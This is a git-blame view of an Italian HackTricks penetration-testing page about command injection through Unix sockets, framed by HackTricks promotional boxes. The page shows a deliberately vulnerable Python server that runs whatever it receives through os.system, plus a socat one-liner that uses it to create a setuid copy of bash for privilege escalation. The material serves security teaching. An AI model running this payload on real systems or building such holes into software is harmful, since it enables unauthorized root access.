hacktricks/linux-hardening/privilege-escalation/socket-command-injection.md

68 lines
3.6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:03:23 +00:00
## Esempio di binding del socket con Python
2020-08-25 22:42:49 +00:00
2024-02-10 13:03:23 +00:00
Nell'esempio seguente viene creato un **socket unix** (`/tmp/socket_test.s`) e tutto ciò che viene **ricevuto** verrà **eseguito** da `os.system`. So che non troverai mai questo scenario nella realtà, ma lo scopo di questo esempio è vedere come appare un codice che utilizza i socket unix e come gestire l'input nel caso peggiore possibile.
2020-08-25 22:42:49 +00:00
{% code title="s.py" %}
```python
import socket
import os, os.path
import time
2024-02-10 13:03:23 +00:00
from collections import deque
2020-08-25 22:42:49 +00:00
if os.path.exists("/tmp/socket_test.s"):
2024-02-10 13:03:23 +00:00
os.remove("/tmp/socket_test.s")
2020-08-25 22:42:49 +00:00
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
2020-08-26 16:58:34 +00:00
os.system("chmod o+w /tmp/socket_test.s")
2020-08-25 22:42:49 +00:00
while True:
2024-02-10 13:03:23 +00:00
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
2020-08-25 22:42:49 +00:00
```
{% endcode %}
2024-02-10 13:03:23 +00:00
**Esegui** il codice utilizzando python: `python s.py` e **verifica come il socket sta ascoltando**:
2020-08-25 22:42:49 +00:00
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
2024-02-10 13:03:23 +00:00
will not be shown, you would have to be root to see it all.)
2020-08-25 22:42:49 +00:00
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
2024-02-10 13:03:23 +00:00
**Sfruttare**
2020-08-25 22:42:49 +00:00
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>